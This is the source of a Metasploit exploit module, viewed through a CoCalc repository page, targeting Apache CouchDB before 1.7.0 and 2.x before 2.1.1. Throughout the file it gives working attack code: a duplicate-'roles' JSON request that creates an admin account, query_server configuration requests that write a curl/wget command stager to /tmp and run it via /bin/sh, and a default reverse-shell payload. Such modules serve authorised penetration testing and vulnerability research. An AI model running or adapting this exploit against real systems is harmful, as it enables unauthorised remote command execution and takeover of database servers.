Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Apache CouchDB Arbitrary Command Execution',
19
'Description' => %q{
20
CouchDB administrative users can configure the database server via HTTP(S).
21
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
22
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
23
including downloading and executing scripts from the public internet.
24
},
25
'Author' => [
26
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
27
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
28
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
29
],
30
'References' => [
31
['CVE', '2017-12636'],
32
['CVE', '2017-12635'],
33
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
34
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
35
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
36
],
37
'DisclosureDate' => '2016-04-06',
38
'License' => MSF_LICENSE,
39
'Platform' => 'linux',
40
'Arch' => [ARCH_X86, ARCH_X64],
41
'Privileged' => false,
42
'DefaultOptions' => {
43
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
44
'CMDSTAGER::FLAVOR' => 'curl'
45
},
46
'CmdStagerFlavor' => ['curl', 'wget'],
47
'Targets' => [
48
['Automatic', {}],
49
['Apache CouchDB version 1.x', {}],
50
['Apache CouchDB version 2.x', {}]
51
],
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options([
62
Opt::RPORT(5984),
63
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
64
OptString.new('HttpUsername', [false, 'The username to login as']),
65
OptString.new('HttpPassword', [false, 'The password to login with'])
66
])
67
68
register_advanced_options([
69
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
70
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
71
])
72
end
73
74
def post_auth?
75
true
76
end
77
78
def check
79
get_version
80
return CheckCode::Unknown if @version.nil?
81
82
version = Rex::Version.new(@version)
83
return CheckCode::Unknown if version.version.empty?
84
85
vprint_status "Found CouchDB version #{version}"
86
87
return CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
88
89
CheckCode::Safe
90
end
91
92
def exploit
93
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
94
version = @version
95
96
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
97
98
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
99
@cmdstager = generate_cmdstager(
100
temp: datastore['WritableDir'],
101
file: File.basename(cmdstager_path)
102
).join(';')
103
104
register_file_for_cleanup(cmdstager_path)
105
106
if !datastore['Attempts'] || datastore['Attempts'] <= 0
107
attempts = 1
108
else
109
attempts = datastore['Attempts']
110
end
111
112
attempts.times do |i|
113
print_status("#{peer} - The #{i + 1} time to exploit")
114
send_payload(version)
115
Rex.sleep(5)
116
# break if we get the shell
117
break if session_created?
118
end
119
end
120
121
# CVE-2017-12635
122
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
123
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
124
# for the newly created user.
125
def auth_bypass
126
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
127
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
128
@auth = basic_auth(username, password)
129
130
res = send_request_cgi(
131
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
132
'method' => 'PUT',
133
'ctype' => 'application/json',
134
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
135
)
136
137
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
138
return true
139
else
140
return false
141
end
142
end
143
144
def get_version
145
@version = nil
146
147
begin
148
res = send_request_cgi(
149
'uri' => normalize_uri(target_uri.path),
150
'method' => 'GET',
151
'authorization' => @auth
152
)
153
rescue Rex::ConnectionError
154
vprint_bad("#{peer} - Connection failed")
155
return false
156
end
157
158
unless res
159
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
160
return false
161
end
162
163
if res && res.code == 401
164
print_bad("#{peer} - Authentication required.")
165
return false
166
end
167
168
if res && res.code == 200
169
res_json = res.get_json_document
170
171
if res_json.empty?
172
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
173
return false
174
end
175
176
@version = res_json['version'] if res_json['version']
177
return true
178
end
179
180
vprint_warning("#{peer} - Version not found")
181
return true
182
end
183
184
def send_payload(version)
185
vprint_status("#{peer} - CouchDB version is #{version}") if version
186
187
version = Rex::Version.new(@version)
188
if version.version.empty?
189
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
190
# if target set Automatic, exploit failed.
191
if target == targets[0]
192
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
193
elsif target == targets[1]
194
payload1
195
elsif target == targets[2]
196
payload2
197
end
198
elsif version < Rex::Version.new('1.7.0')
199
payload1
200
elsif version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
201
payload2
202
elsif version >= Rex::Version.new('1.7.0') || Rex::Version.new('2.1.0')
203
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
204
end
205
end
206
207
# Exploit with multi requests
208
# payload1 is for the version of couchdb below 1.7.0
209
def payload1
210
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
211
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
212
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
213
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
214
rand_hex = Rex::Text.rand_text_hex(32)
215
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
216
217
register_file_for_cleanup(rand_file)
218
219
send_request_cgi(
220
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
221
'method' => 'PUT',
222
'authorization' => @auth,
223
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
224
)
225
226
send_request_cgi(
227
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
228
'method' => 'PUT',
229
'authorization' => @auth
230
)
231
232
send_request_cgi(
233
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
234
'method' => 'PUT',
235
'authorization' => @auth,
236
'data' => %({"_id": "#{rand_hex}"})
237
)
238
239
send_request_cgi(
240
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
241
'method' => 'POST',
242
'authorization' => @auth,
243
'ctype' => 'application/json',
244
'data' => %({"language":"#{rand_cmd1}","map":""})
245
)
246
247
send_request_cgi(
248
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
249
'method' => 'PUT',
250
'authorization' => @auth,
251
'data' => %("/bin/sh #{rand_file}")
252
)
253
254
send_request_cgi(
255
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
256
'method' => 'POST',
257
'authorization' => @auth,
258
'ctype' => 'application/json',
259
'data' => %({"language":"#{rand_cmd2}","map":""})
260
)
261
end
262
263
# payload2 is for the version of couchdb below 2.1.1
264
def payload2
265
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
266
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
267
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
268
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
269
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
270
rand_hex = Rex::Text.rand_text_hex(32)
271
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
272
273
register_file_for_cleanup(rand_file)
274
275
res = send_request_cgi(
276
'uri' => normalize_uri(target_uri.path, "/_membership"),
277
'method' => 'GET',
278
'authorization' => @auth
279
)
280
281
node = res.get_json_document['all_nodes'][0]
282
283
send_request_cgi(
284
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
285
'method' => 'PUT',
286
'authorization' => @auth,
287
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
288
)
289
290
send_request_cgi(
291
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
292
'method' => 'PUT',
293
'authorization' => @auth
294
)
295
296
send_request_cgi(
297
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
298
'method' => 'PUT',
299
'authorization' => @auth,
300
'data' => %({"_id": "#{rand_hex}"})
301
)
302
303
send_request_cgi(
304
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
305
'method' => 'PUT',
306
'authorization' => @auth,
307
'ctype' => 'application/json',
308
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
309
)
310
311
send_request_cgi(
312
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
313
'method' => 'PUT',
314
'authorization' => @auth,
315
'data' => %("/bin/sh #{rand_file}")
316
)
317
318
send_request_cgi(
319
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
320
'method' => 'PUT',
321
'authorization' => @auth,
322
'ctype' => 'application/json',
323
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
324
)
325
end
326
327
def cmdstager_path
328
@cmdstager_path ||=
329
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
330
end
331
332
end
333
334